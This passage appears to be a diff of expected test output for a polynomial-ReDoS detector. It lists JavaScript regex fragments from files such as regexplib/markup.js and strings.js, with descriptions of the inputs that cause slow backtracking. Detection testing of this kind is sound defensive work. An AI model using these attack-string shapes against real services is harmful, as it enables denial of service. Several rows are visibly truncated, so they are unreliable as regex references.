polynomial-redos.js:80:17:80:18 | a* | it can start matching anywhere | -| polynomial-redos.js:89:20:89:21 | a* | it can start matching anywhere after the start of the preceeding 'a*' | -| polynomial-redos.js:101:17:101:18 | a+ | it can start matching anywhere | -| polynomial-redos.js:102:20:102:21 | a+ | it can start matching anywhere after the start of the preceeding 'a+' | -| polynomial-redos.js:104:17:104:18 | a+ | it can start matching anywhere | -| polynomial-redos.js:105:17:105:18 | a+ | it can start matching anywhere | -| polynomial-redos.js:105:19:105:20 | a+ | it can start matching anywhere after the start of the preceeding 'a+' | -| polynomial-redos.js:105:21:105:22 | a+ | it can start matching anywhere after the start of the preceeding 'a+' | -| polynomial-redos.js:111:17:111:19 | \\s* | it can start matching anywhere | -| polynomial-redos.js:112:17:112:19 | \\s+ | it can start matching anywhere | -| regexplib/address.js:18:26:18:31 | [ \\w]* | it can start matching anywhere after the start of the preceeding '[ \\w]{3,}' | -| regexplib/address.js:20:144:20:147 | [ ]+ | it can start matching anywhere after the start of the preceeding '[a-zA-Z0-9 \\-.]{6,}' | -| regexplib/address.js:24:26:24:31 | [ \\w]* | it can start matching anywhere after the start of the preceeding '[ \\w]{3,}' | -| regexplib/address.js:27:3:27:5 | \\s* | it can start matching anywhere | -| regexplib/address.js:27:48:27:50 | \\s* | it can start matching anywhere | -| regexplib/address.js:27:93:27:95 | \\s* | it can start matching anywhere | -| regexplib/address.js:38:39:38:45 | [ 0-9]* | it can start matching anywhere after the start of the preceeding '[ \|\\.]*' | -| regexplib/address.js:51:235:51:239 | \\x20* | it can start matching anywhere after the start of the preceeding '\\x20*' | -| regexplib/address.js:51:631:51:635 | \\x20* | it can start matching anywhere after the start of the preceeding '\\x20*' | -| regexplib/address.js:51:796:51:798 | \\s+ | it can start matching anywhere after the start of the preceeding '\\s+' | -| regexplib/address.js:67:379:67:755 | [a-zA-Z0-9ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïñòóôõöøùúûüýÿ\\.\\,\\-\\/\\' ]+ | it can start matching anywhere after the start of the preceeding '[a-zA-Z0-9ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïñòóôõöøùúûüýÿ\\.\\,\\-\\/\\']+' | -| regexplib/address.js:69:3:69:5 | \\s* | it can start matching anywhere | -| regexplib/address.js:69:48:69:50 | \\s* | it can start matching anywhere | -| regexplib/address.js:69:93:69:95 | \\s* | it can start matching anywhere | -| regexplib/address.js:75:235:75:239 | \\x20* | it can start matching anywhere after the start of the preceeding '\\x20*' | -| regexplib/address.js:75:631:75:635 | \\x20* | it can start matching anywhere after the start of the preceeding '\\x20*' | -| regexplib/address.js:75:796:75:798 | \\s+ | it can start matching anywhere after the start of the preceeding '\\s+' | -| regexplib/address.js:85:15:85:49 | ([0-9]\|[ ]\|[-]\|[\\(]\|[\\)]\|ext.\|[,])+ | it can start matching anywhere | -| regexplib/address.js:85:51:85:67 | ([ ]\|[:]\|\\t\|[-])* | it can start matching anywhere after the start of the preceeding '([0-9]\|[ ]\|[-]\|[\\(]\|[\\)]\|ext.\|[,])' | -| regexplib/address.js:85:51:85:67 | ([ ]\|[:]\|\\t\|[-])* | it can start matching anywhere after the start of the preceeding '([0-9]\|[ ]\|[-]\|[\\(]\|[\\)]\|ext.\|[,])+' | -| regexplib/address.js:85:51:85:67 | ([ ]\|[:]\|\\t\|[-])* | it can start matching anywhere after the start of the preceeding '[0-9]\|[ ]\|[-]\|[\\(]\|[\\)]\|ext.\|[,]' | -| regexplib/address.js:85:51:85:67 | ([ ]\|[:]\|\\t\|[-])* | it can start matching anywhere after the start of the preceeding '[ ]' | -| regexplib/address.js:85:51:85:67 | ([ ]\|[:]\|\\t\|[-])* | it can start matching anywhere after the start of the preceeding '[-]' | -| regexplib/address.js:93:3:93:5 | \\s* | it can start matching anywhere | -| regexplib/address.js:93:48:93:50 | \\s* | it can start matching anywhere | -| regexplib/address.js:93:93:93:95 | \\s* | it can start matching anywhere | -| regexplib/address.js:95:379:95:755 | [a-zA-Z0-9ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïñòóôõöøùúûüýÿ\\.\\,\\-\\/\\' ]+ | it can start matching anywhere after the start of the preceeding '[a-zA-Z0-9ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïñòóôõöøùúûüýÿ\\.\\,\\-\\/\\']+' | -| regexplib/email.js:8:16:8:49 | [^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+ | it can start matching anywhere | -| regexplib/email.js:12:2:12:4 | \\w+ | it can start matching anywhere | -| regexplib/email.js:15:6:15:13 | [\\w-\\.]* | it can start matching anywhere after the start of the preceeding '\\w+' | -| regexplib/email.js:15:28:15:30 | \\w* | it can start matching anywhere after the start of the preceeding '\\w+' | -| regexplib/email.js:20:3:20:6 | \\w+? | it can start matching anywhere | -| regexplib/email.js:28:2:28:4 | \\w+ | it can start matching anywhere | -| regexplib/email.js:28:5:28:12 | [\\w-\\.]* | it can start matching anywhere after the start of the preceeding '\\w+' | -| regexplib/email.js:28:27:28:29 | \\w* | it can start matching anywhere after the start of the preceeding '\\w+' | -| regexplib/email.js:28:73:28:87 | [0-9a-zA-Z'\\.]+ | it can start matching anywhere | -| regexplib/email.js:28:125:28:139 | [0-9a-zA-Z'\\.]+ | it can start matching anywhere | -| regexplib/email.js:29:2:29:7 | [\\w-]+ | it can start matching anywhere | -| regexplib/markup.js:1:11:1:12 | .* | it can start matching anywhere after the start of the preceeding '<' | -| regexplib/markup.js:6:99:6:113 | [\\s\\w\\d\\)\\(\\,]* | it can start matching anywhere after the start of the preceeding '[\\d\\w]+' | -| regexplib/markup.js:11:6:11:8 | .*? | it can start matching anywhere after the start of the preceeding ' | +| regexplib/markup.js:12:40:12:42 | .*? | Strings starting with ') | +| regexplib/markup.js:12:117:12:121 | [^>]* | Strings starting with ']*>) | +| regexplib/markup.js:12:149:12:153 | [^>]* | Strings starting with 'font-family:' and with many repetitions of 'font-family:' can start matching anywhere after the start of the preceeding (font-family:[^>]*[;']) | +| regexplib/markup.js:12:171:12:175 | [^>]* | Strings starting with 'font-size:' and with many repetitions of 'font-size:' can start matching anywhere after the start of the preceeding (font-size:[^>]*[;'])(?-s) | +| regexplib/markup.js:13:6:13:12 | [^"']+? | Strings starting with '<' and with many repetitions of '!' can start matching anywhere after the start of the preceeding (?:[^"']+?\|.+?(?:"\|').*?(?:"\|')?.*?)*? | +| regexplib/markup.js:13:14:13:16 | .+? | Strings starting with '<' and with many repetitions of '!' can start matching anywhere after the start of the preceeding (?:[^"']+?\|.+?(?:"\|').*?(?:"\|')?.*?)*? | +| regexplib/markup.js:14:13:14:14 | .* | Strings starting with '<' and with many repetitions of 'a' can start matching anywhere after the start of the preceeding .* | +| regexplib/markup.js:14:24:14:25 | .* | Strings starting with '<>' and with many repetitions of '>a' can start matching anywhere after the start of the preceeding .* | +| regexplib/markup.js:16:5:16:9 | [^>]* | Strings starting with 'src' and with many repetitions of 'src' can start matching anywhere after the start of the preceeding src[^>]*[^/].(?:jpg\|bmp\|gif)(?:\\"\|\\') | +| regexplib/markup.js:17:8:17:24 | (\\s(\\w*=".*?")?)* | Strings starting with '' and with many repetitions of '">' can start matching anywhere after the start of the preceeding (\\s(\\w*=".*?")?)* | +| regexplib/markup.js:19:2:19:12 | ([^'("\|')]*)("\|')){1}\|content\\s*=\\s*("\|')(?[^'("\|')]*)("\|')\|scheme\\s*=\\s*("\|')(?[^'("\|')]*)("\|')) | +| regexplib/markup.js:19:8:19:10 | \\s+ | Strings starting with '[^'("\|')]*)("\|')){1}\|content\\s*=\\s*("\|')(?[^'("\|')]*)("\|')\|scheme\\s*=\\s*("\|')(?[^'("\|')]*)("\|')) | +| regexplib/markup.js:20:52:20:53 | .* | Strings with many repetitions of '=color' can start matching anywhere after the start of the preceeding [^>]+ | +| regexplib/markup.js:20:155:20:156 | '+ | Strings with many repetitions of '''' can start matching anywhere after the start of the preceeding '+ | +| regexplib/markup.js:20:197:20:198 | "+ | Strings with many repetitions of '""' can start matching anywhere after the start of the preceeding "+ | +| regexplib/markup.js:20:245:20:247 | .*? | Strings with many repetitions of 'color: # IF found THEN move ahead "" # single or double # or no quotes\\t' can start matching anywhere after the start of the preceeding .*? | +| regexplib/markup.js:20:274:20:276 | .*? | Strings starting with ']+color.*>) #IF\\/THEN lookahead color in tag (.*?color\\s*?[=\|:]\\s*?) # IF found THEN move ahead ('+\\#*?[\\w\\s]*'+ # CAPTURE ColorName\\/Hex \|"+\\#*?[\\w\\s]*"+ # single or double \|\\#*\\w*\\b) # or no quotes\t.*?> # & move to end of tag \|.*?> # ELSE move to end of Tag ) # Close the If\\/Then lookahead # Use Multiline and IgnoreCase # Replace the matches from RE with MatchEvaluator below: # if m.Groups(1).Value<>"" then # Return "" # else # Return "" # end if | +| regexplib/markup.js:25:11:25:15 | [^>]* | Strings starting with ']*\\son\\w+=(\\w+\|'[^']*'\|"[^"]*")[^>]*> | +| regexplib/markup.js:25:45:25:49 | [^>]* | Strings starting with ']* | +| regexplib/markup.js:27:3:27:7 | [^>]* | Strings starting with '<' and with many repetitions of '<' can start matching anywhere after the start of the preceeding <[^>]*name[\\s]*=[\\s]*"?[^\\w_]*"?[^>]*> | +| regexplib/markup.js:27:34:27:38 | [^>]* | Strings starting with ']*name[\\s]*=[\\s]*"?[^\\w_]*"?[^>]*> | +| regexplib/markup.js:29:6:29:13 | [\\d\\D]*? | Strings starting with '/*' and with many repetitions of 'a/*' can start matching anywhere after the start of the preceeding \\/\\*[\\d\\D]*?\\*\\/ | +| regexplib/markup.js:33:10:33:11 | .* | Strings starting with '?s/*' and with many repetitions of '?s/*' can start matching anywhere after the start of the preceeding (?s)\\/\\*.*\\*\\/ | +| regexplib/markup.js:34:4:34:10 | [^\\s>]* | Strings starting with '<' and with many repetitions of ']*)(\\s[^<]*)> | +| regexplib/markup.js:37:15:37:19 | [\\w]* | Strings starting with '[a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-zA-Z0-9\|:\|\\/\|=\|-\|.\|\\?\|&]* | +| regexplib/markup.js:40:23:40:25 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (\\/?(?\\w+))+ | +| regexplib/markup.js:40:59:40:61 | \\s* | Strings starting with 'a[' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* | +| regexplib/markup.js:43:11:43:15 | [^>]* | Strings starting with ']*\\son\\w+=(\\w+\|'[^']*'\|"[^"]*")[^>]*> | +| regexplib/markup.js:43:45:43:49 | [^>]* | Strings starting with ']* | +| regexplib/markup.js:44:3:44:7 | [^>]* | Strings starting with '<' and with many repetitions of '<' can start matching anywhere after the start of the preceeding <[^>]*name[\\s]*=[\\s]*"?[^\\w_]*"?[^>]*> | +| regexplib/markup.js:44:34:44:38 | [^>]* | Strings starting with ']*name[\\s]*=[\\s]*"?[^\\w_]*"?[^>]*> | +| regexplib/markup.js:45:6:45:13 | [\\d\\D]*? | Strings starting with '/*' and with many repetitions of 'a/*' can start matching anywhere after the start of the preceeding \\/\\*[\\d\\D]*?\\*\\/ | +| regexplib/markup.js:48:6:48:13 | [\\s\\S]*? | Strings starting with ' | +| regexplib/markup.js:53:15:53:19 | [\\w]* | Strings starting with '[a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [a-zA-Z0-9\|:\|\\/\|=\|-\|.\|\\?\|&]* | +| regexplib/markup.js:56:23:56:25 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (\\/?(?\\w+))+ | +| regexplib/markup.js:56:59:56:61 | \\s* | Strings starting with 'a[' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* | +| regexplib/markup.js:61:74:61:79 | [0-9]+ | Strings starting with '' and with many repetitions of '' can start matching anywhere after the start of the preceeding [^']*? | +| regexplib/markup.js:62:9:62:14 | [^>]*? | Strings starting with ']*?href[\\s]?=[\\s\\"\\']+(.*?)[\\"\\']+.*?>([^<]+\|.*?)?<\\/a> | +| regexplib/markup.js:62:39:62:45 | [\\"\\']+ | Strings starting with '' and with many repetitions of '>;' can start matching anywhere after the start of the preceeding .*? | +| regexplib/markup.js:62:57:62:59 | .*? | Strings starting with '' and with many repetitions of '>a' can start matching anywhere after the start of the preceeding .*? | +| regexplib/markup.js:63:70:63:77 | [\\w\\W]*? | Strings with many repetitions of 'a/*' can start matching anywhere after the start of the preceeding (?((?m:^[\\t ]*\\/{2}[^\\n\\r\\v\\f]+[\\n\\r\\v\\f]*){2,})\|(\\/\\*[\\w\\W]*?\\*\\/)) | +| regexplib/misc.js:4:36:4:44 | [a-zA-Z]* | Strings starting with 'A' and with many repetitions of 'AA' can start matching anywhere after the start of the preceeding [a-zA-Z]+ | +| regexplib/misc.js:76:2:76:27 | (AUX\|PRN\|NUL\|COM\\d\|LPT\\d)+ | Strings with many repetitions of 'AUX' can start matching anywhere after the start of the preceeding (AUX\|PRN\|NUL\|COM\\d\|LPT\\d)+\\s*$ | +| regexplib/misc.js:81:31:81:45 | [^a-z\\:\\,\\(\\)]* | Strings starting with '#' and with many repetitions of '#' can start matching anywhere after the start of the preceeding ([A-Zäöü0-9\\/][^a-z\\:\\,\\(\\)]*[A-Zäöü0-9])($\|[\\.\\:\\,\\;\\)\\-\\ \\+]\|s\\b) | +| regexplib/misc.js:83:18:83:23 | [0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* | +| regexplib/misc.js:83:24:83:26 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | +| regexplib/misc.js:83:36:83:38 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | +| regexplib/misc.js:83:72:83:77 | [0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding \\d* | +| regexplib/misc.js:83:78:83:80 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | +| regexplib/misc.js:83:90:83:92 | \\d* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]+ | +| regexplib/misc.js:90:4:90:11 | ([a-z])+ | Strings with many repetitions of 'aa' can start matching anywhere after the start of the preceeding (([a-z])+.)+ | +| regexplib/misc.js:93:3:93:4 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (.*\\.([wW][mM][aA])\|([mM][pP][3])$) | +| regexplib/misc.js:95:25:95:26 | .+ | Strings starting with 'at ' and with many repetitions of 'at a' can start matching anywhere after the start of the preceeding (at\\s)(?.+)(\\.)(?[^\\.]*)(\\()(?[^\\)]*)(\\))((\\sin\\s)(?.+)(:line )(?[\\d]*))? | +| regexplib/misc.js:95:71:95:76 | [^\\)]* | Strings starting with 'at a.(' and with many repetitions of '((' can start matching anywhere after the start of the preceeding (at\\s)(?.+)(\\.)(?[^\\.]*)(\\()(?[^\\)]*)(\\))((\\sin\\s)(?.+)(:line )(?[\\d]*))? | +| regexplib/misc.js:95:103:95:104 | .+ | Strings starting with 'at a.() in ' and with many repetitions of '() in -' can start matching anywhere after the start of the preceeding (at\\s)(?.+)(\\.)(?[^\\.]*)(\\()(?[^\\)]*)(\\))((\\sin\\s)(?.+)(:line )(?[\\d]*))? | +| regexplib/misc.js:101:52:101:70 | [a-z0-9\\/\\.\\?\\=\\&]* | Strings starting with '".htm' and with many repetitions of '.asp' can start matching anywhere after the start of the preceeding [a-z0-9\\/\\.\\?\\=\\&]* | +| regexplib/misc.js:112:3:112:5 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{4}\\)?\\s*\\d{6}\\s*) | +| regexplib/misc.js:112:32:112:34 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{3}\\)?\\s*\\d{3}\\s*\\d{4}\\s*) | +| regexplib/misc.js:114:6:114:8 | \\\|+ | Strings starting with 'a' and with many repetitions of '\|' can start matching anywhere after the start of the preceeding .+ | +| regexplib/misc.js:116:3:116:4 | .* | Strings starting with '{' and with many repetitions of '{' can start matching anywhere after the start of the preceeding {.*} | +| regexplib/misc.js:117:25:117:26 | .+ | Strings starting with '{a}' and with many repetitions of 'a)' can start matching anywhere after the start of the preceeding .+ | +| regexplib/misc.js:119:20:119:22 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (NOT)?(\\s*\\(*)\\s*(\\w+)\\s*(=\|<>\|<\|>\|LIKE\|IN)\\s*(\\(([^\\)]*)\\)\|'([^']*)'\|(-?\\d*\\.?\\d+))(\\s*\\)*\\s*)(AND\|OR)? | +| regexplib/misc.js:123:36:123:38 | .*? | Strings starting with '?se[A' and with many repetitions of '?se[Aa' can start matching anywhere after the start of the preceeding (?s)(?:\\e\\[(?:(\\d+);?)*([A-Za-z])(.*?))(?=\\e\\[\|\\z) | +| regexplib/misc.js:126:15:126:20 | [a-z]+ | Strings starting with 'a' and with many repetitions of 'aa' can start matching anywhere after the start of the preceeding [a-z]+ | +| regexplib/misc.js:141:15:141:19 | [^;]+ | Strings starting with '{\\\\f\\\\' and with many repetitions of '{\\\\f\\\\:' can start matching anywhere after the start of the preceeding (\\{\\\\f\\d*)\\\\([^;]+;) | +| regexplib/misc.js:144:52:144:70 | [a-z0-9\\/\\.\\?\\=\\&]* | Strings starting with '".htm' and with many repetitions of '.asp' can start matching anywhere after the start of the preceeding [a-z0-9\\/\\.\\?\\=\\&]* | +| regexplib/misc.js:148:12:148:18 | [^\\s>]+ | Strings starting with '<' and with many repetitions of ']+(\\s+[^"'=]+(=("[^"]*")\|('[^\\']*')\|([^\\s"'>]*))?)*\\s*\\/?> | +| regexplib/misc.js:148:20:148:22 | \\s+ | Strings starting with ']* | +| regexplib/misc.js:148:34:148:38 | [^"]* | Strings starting with ']+(\\s+[^"'=]+(=("[^"]*")\|('[^\\']*')\|([^\\s"'>]*))?)*\\s*\\/?> | +| regexplib/misc.js:148:44:148:49 | [^\\']* | Strings starting with ']+(\\s+[^"'=]+(=("[^"]*")\|('[^\\']*')\|([^\\s"'>]*))?)*\\s*\\/?> | +| regexplib/misc.js:148:68:148:70 | \\s* | Strings starting with '[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?[A-Z]\\w*\|[A-Z]?\\.?)\\s?(?[A-Z]\\w*\\-?[A-Z]?\\w*)(?:,\\s\|)(?Jr\\.\|Sr\\.\|IV\|III\|II\|) | +| regexplib/strings.js:14:61:14:63 | \\w* | Strings starting with 'AA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?[A-Z]\\w*\|[A-Z]?\\.?)\\s?(?[A-Z]\\w*\\-?[A-Z]?\\w*)(?:,\\s\|)(?Jr\\.\|Sr\\.\|IV\|III\|II\|) | +| regexplib/strings.js:14:107:14:109 | \\w* | Strings starting with 'AAA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?[A-Z]\\w*\|[A-Z]?\\.?)\\s?(?[A-Z]\\w*\\-?[A-Z]?\\w*)(?:,\\s\|)(?Jr\\.\|Sr\\.\|IV\|III\|II\|) | +| regexplib/strings.js:19:31:19:57 | [a-zæøå0-9]+ | Strings starting with '#@' and with many repetitions of '##' can start matching anywhere after the start of the preceeding ([a-zæøå0-9]+([\\.-]{0,1}[a-zæøå0-9]+\|[a-zæøå0-9]?))+ | +| regexplib/strings.js:20:3:20:20 | ((\\\\")\|[^"(\\\\")])+ | Strings starting with '"' and with many repetitions of '\\\\"' can start matching anywhere after the start of the preceeding "((\\\\")\|[^"(\\\\")])+" | +| regexplib/strings.js:21:3:21:7 | [^>]+ | Strings starting with '<' and with many repetitions of '<' can start matching anywhere after the start of the preceeding <[^>]+> | +| regexplib/strings.js:23:3:23:20 | ((\\\\")\|[^"(\\\\")])+ | Strings starting with '"' and with many repetitions of '\\\\"' can start matching anywhere after the start of the preceeding "((\\\\")\|[^"(\\\\")])+" | +| regexplib/strings.js:26:6:26:17 | [a-zA-Z,\\s]+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding \\s* | +| regexplib/strings.js:26:18:26:20 | \\s* | Strings starting with '\\t' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding [a-zA-Z,\\s]+ | +| regexplib/strings.js:29:2:29:3 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*\\$AVE | +| regexplib/strings.js:30:2:30:3 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*[Pp]re[Ss\\$]cr[iI1]pt.* | +| regexplib/strings.js:32:35:32:37 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?[A-Z]\\w+\|[A-Z]?\\.?)\\s(?[A-Z]?\\w{0,3}[A-Z]\\w+\\-?[A-Z]?\\w*)(?:,\\s\|)(?Jr\\.\|Sr\\.\|IV\|III\|II\|) | +| regexplib/strings.js:32:61:32:63 | \\w+ | Strings starting with 'AA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?[A-Z]\\w+\|[A-Z]?\\.?)\\s(?[A-Z]?\\w{0,3}[A-Z]\\w+\\-?[A-Z]?\\w*)(?:,\\s\|)(?Jr\\.\|Sr\\.\|IV\|III\|II\|) | +| regexplib/strings.js:32:119:32:121 | \\w* | Strings with many repetitions of 'aA' can start matching anywhere after the start of the preceeding \\w+ | +| regexplib/strings.js:40:3:40:5 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (\\w+)\\s+\\1 | +| regexplib/strings.js:48:3:48:12 | [^\\.\\?\\!]* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding ([^\\.\\?\\!]*)[\\.\\?\\!] | +| regexplib/strings.js:49:3:49:5 | \\S+ | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding (\\S+)\\x20{2,}(?=\\S+) | +| regexplib/strings.js:53:25:53:33 | [a-z0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [\\-a-z0-9]* | +| regexplib/strings.js:53:65:53:73 | [a-z0-9]+ | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [\\-a-z0-9]* | +| regexplib/strings.js:54:20:54:22 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (NOT)?(\\s*\\(*)\\s*(\\w+)\\s*(=\|<>\|<\|>\|LIKE\|IN)\\s*(\\(([^\\)]*)\\)\|'([^']*)'\|(-?\\d*\\.?\\d+))(\\s*\\)*\\s*)(AND\|OR)? | +| regexplib/strings.js:56:52:56:53 | .+ | Strings starting with 'PRN.' and with many repetitions of '.' can start matching anywhere after the start of the preceeding .* | +| regexplib/strings.js:57:36:57:38 | .*? | Strings starting with '?se[A' and with many repetitions of '?se[Aa' can start matching anywhere after the start of the preceeding (?s)(?:\\e\\[(?:(\\d+);?)*([A-Za-z])(.*?))(?=\\e\\[\|\\z) | +| regexplib/strings.js:64:3:64:5 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (\\w+)\\s+\\1 | +| regexplib/strings.js:70:6:70:17 | [a-zA-Z,\\s]+ | Strings with many repetitions of '\\t' can start matching anywhere after the start of the preceeding \\s* | +| regexplib/strings.js:70:18:70:20 | \\s* | Strings starting with '\\t' and with many repetitions of '\\t' can start matching anywhere after the start of the preceeding [a-zA-Z,\\s]+ | +| regexplib/strings.js:72:35:72:37 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?[A-Z]\\w+\|[A-Z]?\\.?)\\s(?[A-Z]?\\w{0,3}[A-Z]\\w+\\-?[A-Z]?\\w*)(?:,\\s\|)(?Jr\\.\|Sr\\.\|IV\|III\|II\|) | +| regexplib/strings.js:72:61:72:63 | \\w+ | Strings starting with 'AA' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding (?[A-Z]\\.?\\w*\\-?[A-Z]?\\w*)\\s?(?[A-Z]\\w+\|[A-Z]?\\.?)\\s(?[A-Z]?\\w{0,3}[A-Z]\\w+\\-?[A-Z]?\\w*)(?:,\\s\|)(?Jr\\.\|Sr\\.\|IV\|III\|II\|) | +| regexplib/strings.js:72:119:72:121 | \\w* | Strings with many repetitions of 'aA' can start matching anywhere after the start of the preceeding \\w+ | +| regexplib/strings.js:73:2:73:3 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*\\$AVE | +| regexplib/strings.js:74:2:74:3 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*[Pp]re[Ss\\$]cr[iI1]pt.* | +| regexplib/strings.js:75:2:75:3 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*[Vv][Ii1]agr.* | +| regexplib/strings.js:76:2:76:3 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*[Oo0][Ee][Mm].* | +| regexplib/strings.js:81:36:81:38 | .*? | Strings starting with '?se[A' and with many repetitions of '?se[Aa' can start matching anywhere after the start of the preceeding (?s)(?:\\e\\[(?:(\\d+);?)*([A-Za-z])(.*?))(?=\\e\\[\|\\z) | +| regexplib/strings.js:82:20:82:22 | \\w+ | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (NOT)?(\\s*\\(*)\\s*(\\w+)\\s*(=\|<>\|<\|>\|LIKE\|IN)\\s*(\\(([^\\)]*)\\)\|'([^']*)'\|(-?\\d*\\.?\\d+))(\\s*\\)*\\s*)(AND\|OR)? | +| regexplib/strings.js:88:3:88:12 | [^\\.\\?\\!]* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding ([^\\.\\?\\!]*)[\\.\\?\\!] | +| regexplib/strings.js:89:3:89:5 | \\S+ | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding (\\S+)\\x20{2,}(?=\\S+) | +| regexplib/uri.js:3:149:3:151 | .*? | Strings starting with 'ftp:// ' and with many repetitions of '/ /' can start matching anywhere after the start of the preceeding (?:(?http(?:s?)\|ftp)(?:\\:\\/\\/)) (?:(?\\w+\\:\\w+)(?:\\@))? (?[^/\\r\\n\\:]+)? (?\\:\\d+)? (?(?:\\/.*)*\\/)? (?.*?\\.(?\\w{2,4}))? (?\\??(?:\\w+\\=[^\\#]+)(?:\\&?\\w+\\=\\w+)*)* (?\\#.*)? | +| regexplib/uri.js:3:188:3:190 | \\w+ | Strings starting with 'ftp:// ' and with many repetitions of '00' can start matching anywhere after the start of the preceeding (?:(?http(?:s?)\|ftp)(?:\\:\\/\\/)) (?:(?\\w+\\:\\w+)(?:\\@))? (?[^/\\r\\n\\:]+)? (?\\:\\d+)? (?(?:\\/.*)*\\/)? (?.*?\\.(?\\w{2,4}))? (?\\??(?:\\w+\\=[^\\#]+)(?:\\&?\\w+\\=\\w+)*)* (?\\#.*)? | +| regexplib/uri.js:3:193:3:198 | [^\\#]+ | Strings starting with 'ftp:// a=' and with many repetitions of '00=' can start matching anywhere after the start of the preceeding (?:(?http(?:s?)\|ftp)(?:\\:\\/\\/)) (?:(?\\w+\\:\\w+)(?:\\@))? (?[^/\\r\\n\\:]+)? (?\\:\\d+)? (?(?:\\/.*)*\\/)? (?.*?\\.(?\\w{2,4}))? (?\\??(?:\\w+\\=[^\\#]+)(?:\\&?\\w+\\=\\w+)*)* (?\\#.*)? | +| regexplib/uri.js:3:206:3:208 | \\w+ | Strings starting with 'ftp:// a="' and with many repetitions of '00' can start matching anywhere after the start of the preceeding (?:(?http(?:s?)\|ftp)(?:\\:\\/\\/)) (?:(?\\w+\\:\\w+)(?:\\@))? (?[^/\\r\\n\\:]+)? (?\\:\\d+)? (?(?:\\/.*)*\\/)? (?.*?\\.(?\\w{2,4}))? (?\\??(?:\\w+\\=[^\\#]+)(?:\\&?\\w+\\=\\w+)*)* (?\\#.*)? | +| regexplib/uri.js:3:211:3:213 | \\w+ | Strings starting with 'ftp:// a="a=' and with many repetitions of '00=' can start matching anywhere after the start of the preceeding (?:(?http(?:s?)\|ftp)(?:\\:\\/\\/)) (?:(?\\w+\\:\\w+)(?:\\@))? (?[^/\\r\\n\\:]+)? (?\\:\\d+)? (?(?:\\/.*)*\\/)? (?.*?\\.(?\\w{2,4}))? (?\\??(?:\\w+\\=[^\\#]+)(?:\\&?\\w+\\=\\w+)*)* (?\\#.*)? | +| regexplib/uri.js:5:42:5:43 | .* | Strings starting with 'A:\\\\a' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding [\\w ]* | +| regexplib/uri.js:14:175:14:213 | [\\d\\w\\.\\/\\%\\+\\-\\=\\&\\?\\:\\\\\\"\\'\\,\\\|\\~\\;]* | Strings with many repetitions of '.ac+' can start matching anywhere after the start of the preceeding [\\d\\w\\.\\/\\+\\-\\?\\:]* | +| regexplib/uri.js:17:42:17:43 | .* | Strings starting with 'A:\\\\a' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding [\\w ]* | +| regexplib/uri.js:18:4:18:46 | ([A-Za-z0-9'~`!@#$%&^_+=\\(\\){},\\-\\[\\]\\;])+? | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding 